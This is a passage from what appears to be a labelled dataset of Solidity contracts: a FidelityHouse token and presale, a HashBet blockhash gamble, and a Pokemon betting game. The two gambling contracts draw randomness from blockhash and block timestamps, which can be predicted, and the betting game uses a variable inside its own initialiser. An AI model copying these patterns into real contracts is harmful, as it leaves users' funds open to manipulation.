ethFundDeposit.transfer(msg.value);
}
function setWhitelist(address _address, uint256 _amount) {
require (msg.sender == ethFundDeposit);
whiteList.setWhitelisted(_address, _amount);
}
function setPreallocationWhitelist(address _address, bool _status) {
require (msg.sender == ethFundDeposit);
preallocationsWhitelist.setWhitelisted(_address, _status);
}
} | 0 | 528 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract MintAndLockCrowdsale is Crowdsale {
uint256 public totalRate;
uint256 public bonusRate;
constructor(uint256 _bonusRate) public {
bonusRate = _bonusRate;
totalRate = rate.add(_getBonusAmount(rate));
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
uint256 bonus = _getBonusAmount(tokens);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens.add(bonus)
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _getBonusAmount(
uint256 _tokenAmount
)
internal
view
returns (uint256)
{
return _tokenAmount.mul(bonusRate).div(100);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
FidelityHouseToken(address(token)).mintAndLock(_beneficiary, _tokenAmount);
if (bonusRate > 0) {
FidelityHouseToken(address(token)).mint(_beneficiary, _getBonusAmount(_tokenAmount));
}
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
}
contract DefaultCrowdsale is TimedCrowdsale, TokenRecover {
Contributions public contributions;
uint256 public minimumContribution;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _minimumContribution,
address _token,
address _contributions
)
Crowdsale(_rate, _wallet, ERC20(_token))
TimedCrowdsale(_openingTime, _closingTime)
public
{
require(
_contributions != address(0),
"Contributions address can't be the zero address."
);
contributions = Contributions(_contributions);
minimumContribution = _minimumContribution;
}
function started() public view returns(bool) {
return block.timestamp >= openingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(
_weiAmount >= minimumContribution,
"Can't send less than the minimum contribution"
);
require(
contributions.isAllowedPurchase(_beneficiary, _weiAmount),
"Beneficiary is not allowed to purchase this amount"
);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions.addEthContribution(_beneficiary, _weiAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
super._processPurchase(_beneficiary, _tokenAmount);
contributions.addTokenBalance(_beneficiary, _tokenAmount);
}
}
contract FidelityHousePresale is DefaultCrowdsale, CappedCrowdsale, MintAndLockCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _bonusRate,
address _wallet,
uint256 _cap,
uint256 _minimumContribution,
address _token,
address _contributions
)
DefaultCrowdsale(
_openingTime,
_closingTime,
_rate,
_wallet,
_minimumContribution,
_token,
_contributions
)
CappedCrowdsale(_cap)
MintAndLockCrowdsale(_bonusRate)
public
{}
function ended() public view returns(bool) {
return hasClosed() || capReached();
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
super._processPurchase(_beneficiary, _tokenAmount);
if (bonusRate > 0) {
contributions.addTokenBalance(_beneficiary, _getBonusAmount(_tokenAmount));
}
}
} | 0 | 176 |
pragma solidity ^0.4.23;
contract HashBet {
constructor() public {}
event Result(uint256 hashVal, uint16 result);
mapping( address => Bet ) bets;
struct Bet {
uint value;
uint height;
}
function() payable public {}
function makeBet() payable public {
require( bets[msg.sender].height == 0 && msg.value > 10000 );
Bet newBet = bets[msg.sender];
newBet.value = msg.value;
newBet.height = block.number;
}
function resolveBet() public {
Bet bet = bets[msg.sender];
uint dist = block.number - bet.height;
require( dist < 255 && dist > 3 );
bytes32 h1 = block.blockhash(bet.height);
bytes32 h2 = block.blockhash(bet.height+3);
uint256 hashVal = uint256( keccak256(h1,h2) );
uint256 FACTOR = 115792089237316195423570985008687907853269984665640564039457584007913129640;
uint16 result = uint16((hashVal / FACTOR)) % 1000;
bet.height = 0;
if( result <= 495 ) {
msg.sender.transfer(address(this).balance);
}
emit Result(hashVal, result);
}
} | 0 | 422 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PokemonInterface {
function levels(uint256 _pokemonId) external view returns (
uint256 level
);
function getPokemonOwner(uint _pokemonId)external view returns (
address currentOwner
);
}
contract PublicBattle {
using SafeMath for uint256;
uint public totalGuess;
uint public totalPool;
uint public publicBattlepm1;
uint public publicBattlepm2;
address guesser;
bool public publicbattlestart;
mapping(uint => address[]) pokemonGuessPlayers;
mapping(uint => uint) pokemonGuessNumber;
mapping(uint => uint) pokemonGuessPrize;
mapping(address => uint) playerGuessPM1Number;
mapping(address => uint) playerGuessPM2Number;
mapping(uint => uint) battleCD;
uint public pbWinner;
address cpAddress = 0x77fA1D1Ded3F4bed737e9aE870a6f3605445df9c;
PokemonInterface pokemonContract = PokemonInterface(cpAddress);
address contractCreator;
address devFeeAddress;
function PublicBattle () public {
contractCreator = msg.sender;
devFeeAddress = 0xFb2D26b0caa4C331bd0e101460ec9dbE0A4783A4;
publicbattlestart = false;
publicBattlepm1 = 99999;
publicBattlepm2 = 99999;
pbWinner = 99999;
isPaused = false;
totalPool = 0;
initialPokemonInfo();
}
struct Battlelog {
uint pokemonId1;
uint pokemonId2;
uint result;
}
Battlelog[] battleresults;
struct PokemonDetails {
string pokemonName;
uint pokemonType;
uint total;
}
PokemonDetails[] pokemoninfo;
modifier onlyContractCreator() {
require (msg.sender == contractCreator);
_;
}
function setOwner (address _owner) onlyContractCreator() public {
contractCreator = _owner;
}
function setdevFeeAddress (address _devFeeAddress) onlyContractCreator() public {
devFeeAddress = _devFeeAddress;
}
bool isPaused;
function pauseGame() public onlyContractCreator {
isPaused = true;
}
function unPauseGame() public onlyContractCreator {
isPaused = false;
}
function GetGamestatus() public view returns(bool) {
return(isPaused);
}
function withdrawAmount (uint256 _amount) onlyContractCreator() public {
msg.sender.transfer(_amount);
totalPool = totalPool - _amount;
}
function initialBattle(uint _pokemonId1,uint _pokemonId2) public{
require(pokemonContract.getPokemonOwner(_pokemonId1) == msg.sender);
require(isPaused == false);
require(_pokemonId1 != _pokemonId2);
require(getPokemonCD(_pokemonId1) == 0);
assert(publicbattlestart != true);
publicBattlepm1 = _pokemonId1;
publicBattlepm2 = _pokemonId2;
publicbattlestart = true;
pokemonGuessNumber[publicBattlepm1]=0;
pokemonGuessNumber[publicBattlepm2]=0;
pokemonGuessPrize[publicBattlepm1]=0;
pokemonGuessPrize[publicBattlepm2]=0;
isPaused = false;
battleCD[_pokemonId1] = now + 12 * 1 hours;
totalGuess = totalPool.div(100);
}
function donateToPool() public payable{
require(msg.value >= 0);
totalPool = totalPool + msg.value;
}
function guess(uint _pokemonId) public payable{
require(isPaused == false);
assert(msg.value > 0);
assert(_pokemonId == publicBattlepm1 || _pokemonId == publicBattlepm2);
uint256 calcValue = msg.value;
uint256 cutFee = calcValue.div(16);
calcValue = calcValue - cutFee;
pokemonContract.getPokemonOwner(_pokemonId).transfer(cutFee.div(2));
devFeeAddress.transfer(cutFee.div(2));
totalGuess += calcValue;
pokemonGuessNumber[_pokemonId]++;
pokemonGuessPrize[_pokemonId] = pokemonGuessPrize[_pokemonId] + calcValue;
if(_pokemonId == publicBattlepm1){
if(playerGuessPM1Number[msg.sender] != 0){
playerGuessPM1Number[msg.sender] = playerGuessPM1Number[msg.sender] + calcValue;
}else{
pokemonGuessPlayers[_pokemonId].push(msg.sender);
playerGuessPM1Number[msg.sender] = calcValue;
}
}else{
if(playerGuessPM2Number[msg.sender] != 0){
playerGuessPM2Number[msg.sender] = playerGuessPM2Number[msg.sender] + calcValue;
}else{
pokemonGuessPlayers[_pokemonId].push(msg.sender);
playerGuessPM2Number[msg.sender] = calcValue;
}
}
if(pokemonGuessNumber[publicBattlepm1] + pokemonGuessNumber[publicBattlepm2] > 20){
startpublicBattle(publicBattlepm1, publicBattlepm2);
}
}
function startpublicBattle(uint _pokemon1, uint _pokemon2) internal {
require(publicBattlepm1 != 99999 && publicBattlepm2 != 99999);
uint256 i = uint256(sha256(block.timestamp, block.number-i-1)) % 100 +1;
uint256 threshold = dataCalc(_pokemon1, _pokemon2);
if(i <= threshold){
pbWinner = publicBattlepm1;
}else{
pbWinner = publicBattlepm2;
}
battleresults.push(Battlelog(_pokemon1,_pokemon2,pbWinner));
distributePrizes();
}
function distributePrizes() internal{
totalGuess = totalGuess - totalGuess.div(100);
for(uint counter=0; counter < pokemonGuessPlayers[pbWinner].length; counter++){
guesser = pokemonGuessPlayers[pbWinner][counter];
if(pbWinner == publicBattlepm1){
guesser.transfer(playerGuessPM1Number[guesser].mul(totalGuess).div(pokemonGuessPrize[pbWinner]));
}else{
guesser.transfer(playerGuessPM2Number[guesser].mul(totalGuess).div(pokemonGuessPrize[pbWinner]));
}
}
uint del;
if(pbWinner == publicBattlepm1){
del = publicBattlepm2;
}else{
del = publicBattlepm1;
}
for(uint cdel1=0; cdel1 < pokemonGuessPlayers[pbWinner].length; cdel1++){
guesser = pokemonGuessPlayers[pbWinner][cdel1];
if(pbWinner == publicBattlepm1){
delete playerGuessPM1Number[guesser];
}else{
delete playerGuessPM2Number[guesser];
}
}
for(uint cdel=0; cdel < pokemonGuessPlayers[del].length; cdel++){
guesser = pokemonGuessPlayers[del][cdel];
if(del == publicBattlepm1){
delete playerGuessPM1Number[guesser];
}else{
delete playerGuessPM2Number[guesser];
}
}
pokemonGuessNumber[publicBattlepm1]=0;
pokemonGuessNumber[publicBattlepm2]=0;
pokemonGuessPrize[publicBattlepm1]=0;
pokemonGuessPrize[publicBattlepm2]=0;
delete pokemonGuessPlayers[publicBattlepm2];
delete pokemonGuessPlayers[publicBattlepm1];
counter = 0;
publicBattlepm1 = 99999;
publicBattlepm2 = 99999;
pbWinner = 99999;
totalGuess = 0;
publicbattlestart = false;
}
function dataCalc(uint _pokemon1, uint _pokemon2) public view returns (uint256 _threshold){
uint _pokemontotal1;
uint _pokemontotal2;
(,,_pokemontotal1) = getPokemonDetails(_pokemon1);
(,,_pokemontotal2) = getPokemonDetails(_pokemon2);
uint256 threshold = _pokemontotal1.mul(100).div(_pokemontotal1+_pokemontotal2);
uint256 pokemonlevel1 = pokemonContract.levels(_pokemon1);
uint256 pokemonlevel2 = pokemonContract.levels(_pokemon2);
uint leveldiff = pokemonlevel1 - pokemonlevel2;
if(pokemonlevel1 >= pokemonlevel2){
threshold = threshold.mul(11**leveldiff).div(10**leveldiff);
}else{
threshold = 100 - dataCalc(_pokemon2, _pokemon1);
}
if(threshold > 90){
threshold = 90;
}
if(threshold < 10){
threshold = 10;
}
return threshold;
}
function getBattleDetails(uint _battleId) public view returns (
uint _pokemon1,
uint _pokemon2,
uint256 _result
) {
Battlelog storage _battle = battleresults[_battleId];
_pokemon1 = _battle.pokemonId1;
_pokemon2 = _battle.pokemonId2;
_result = _battle.result;
}
function addPokemonDetails(string _pokemonName, uint _pokemonType, uint _total) public onlyContractCreator{
pokemoninfo.push(PokemonDetails(_pokemonName,_pokemonType,_total));
}
function getPokemonDetails(uint _pokemonId) public view returns (
string _pokemonName,
uint _pokemonType,
uint _total
) {
PokemonDetails storage _pokemoninfomation = pokemoninfo[_pokemonId];
_pokemonName = _pokemoninfomation.pokemonName;
_pokemonType = _pokemoninfomation.pokemonType;
_total = _pokemoninfomation.total;
}
function totalBattles() public view returns (uint256 _totalSupply) {
return battleresults.length;
}
function getPokemonBet(uint _pokemonId) public view returns (uint256 _pokemonBet){
return pokemonGuessPrize[_pokemonId];
}
function getPokemonOwner(uint _pokemonId) public view returns (
address _owner
) {
_owner = pokemonContract.getPokemonOwner(_pokemonId);
}
function getPublicBattlePokemon1() public view returns(uint _pokemonId1){
return publicBattlepm1;
}
function getPublicBattlePokemon2() public view returns(uint _pokemonId1){
return publicBattlepm2;
}
function getPokemonBetTimes(uint _pokemonId) public view returns(uint _pokemonBetTimes){
return pokemonGuessNumber[_pokemonId];
}
function getPokemonCD(uint _pokemonId) public view returns(uint _pokemonCD){
if(battleCD[_pokemonId] <= now){
return 0;
}else{
return battleCD[_pokemonId] - now;
}
}
function initialPokemonInfo() public onlyContractCreator{
addPokemonDetails("PikaChu" ,1, 300);
addPokemonDetails("Ninetales",1,505);
addPokemonDetails("Charizard" ,2, 534);
addPokemonDetails("Eevee",0,325);
addPokemonDetails("Jigglypuff" ,0, 270);
addPokemonDetails("Pidgeot",2,469);
addPokemonDetails("Aerodactyl" ,2, 515);
addPokemonDetails("Bulbasaur",0,318);
addPokemonDetails("Abra" ,0, 310);
addPokemonDetails("Gengar",2,500);
addPokemonDetails("Hoothoot" ,0, 262);
addPokemonDetails("Goldeen",0,320);
}
} | 0 | 1,926 |
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
